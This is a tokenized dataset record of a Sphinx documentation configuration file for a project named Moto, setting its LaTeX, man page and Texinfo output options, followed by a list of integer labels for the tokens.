"\\u\\u\\uNL\\u\\u\\u_", "html", "help", "\\u", "basename_", "=_", "'", "Moto", "doc", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "La", "Te", "X", " ", "output", " ", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "elements_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "pape", "r", " ", "size", " ", "('", "letter", "pape", "r", "'", " ", "or", " ", "'", "a4", "pape", "r", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "papers", "ize", "':", " ", "'", "letter", "pape", "r", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "font", " ", "size", " ", "('", "10", "pt", "',", " ", "'", "11", "pt", "'", " ", "or", " ", "'", "1", "2p", "t", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "points", "ize", "':", " ", "'", "10", "pt", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Addition", "al", " ", "stu", "ff", " ", "for", " ", "the", " ", "La", "Te", "X", " ", "preamble", "._", "\\u\\u\\uNL\\u\\u\\u_", "#'", "preamble", "':", " ", "''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Latex", " ", "figure", " ", "(", "float", ")", " ", "alignment_", "\\u\\u\\uNL\\u\\u\\u_", "#'", "figure", "\\u", "align", "':", " ", "'", "ht", "bp", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "La", "Te", "X", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "author", ",", " ", "document", "class", " ", "[", "how", "to", ",", " ", "manu", "al", ",", " ", "or", " ", "own", " ", "class", "])", "._", "\\u\\u\\uNL\\u\\u\\u_", "late", "x", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "Moto", ".", "tex", "'_", ",_", "'", "Moto", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Ste", "ve", " ", "Pul", "ec", "'_", ",_", "'", "manu", "al", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "name", " ", "of", " ", "an", " ", "image", " ", "file", " ", "(", "relative", " ", "to", " ", "this", " ", "director", "y", ")", " ", "to", " ", "place", " ", "at", " ", "the", " ", "top", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "title", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "logo", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "\"", "manu", "al", "\"", " ", "document", "s", ",", " ", "if", " ", "this", " ", "is", " ", "true", ",", " ", "then", " ", "toplevel", " ", "heading", "s", " ", "are", " ", "part", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "chapters", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "use", "\\u", "part", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "page", " ", "reference", "s", " ", "after", " ", "internal", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "pager", "ef", "s", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "late", "x", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "manu", "al", " ", "page", " ", "output", " ", "--------------", "--------------", "-----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "One", " ", "entry", " ", "per", " ", "manu", "al", " ", "page", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "name", ",", " ", "description", ",", " ", "author", "s", ",", " ", "manu", "al", " ", "section", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "man", "\\u", "pages_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "moto", "'_", ",_", "'", "Moto", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "author_", "]_", ",_", "1_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "show", " ", "URL", " ", "addresse", "s", " ", "after", " ", "external", " ", "link", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "man", "\\u", "show", "\\u", "urls", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Optio", "ns", " ", "for", " ", "Tex", "info", " ", "output", " ", "--------------", "--------------", "--------------", "-_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "ing", " ", "the", " ", "document", " ", "tree", " ", "int", "o", " ", "Tex", "info", " ", "files", ".", " ", "List", " ", "of", " ", "tuples_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "source", " ", "start", " ", "file", ",", " ", "target", " ", "name", ",", " ", "title", ",", " ", "author", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "dir", " ", "menu", " ", "entry", ",", " ", "description", ",", " ", "category", ")_", "\\u\\u\\uNL\\u\\u\\u_", "tex", "info", "\\u", "documents_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "master", "\\u", "doc_", ",_", "'", "Moto", "'_", ",_", "'", "Moto", " ", "Document", "ation", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", ",_", "'", "Moto", "'_", ",_", "'", "One", " ", "line", " ", "description", " ", "of", " ", "project", ".'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Mis", "cell", "ane", "ous", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Document", "s", " ", "to", " ", "append", " ", "as", " ", "an", " ", "appendi", "x", " ", "to", " ", "all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ho", "w", " ", "to", " ", "display", " ", "URL", " ", "addresse", "s", ":", " ", "'", "footnote", "',", " ", "'", "no", "',", " ", "or", " ", "'", "inline", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "show", "\\u", "urls", " ", "=", " ", "'", "footnote", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "do", " ", "not", " ", "generat", "e", " ", "a", " ", "@", "deta", "il", "menu", " ", "in", " ", "the", " ", "\"", "Top", "\"", " ", "node", "'", "s", " ", "menu", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "no", "\\u", "deta", "il", "menu", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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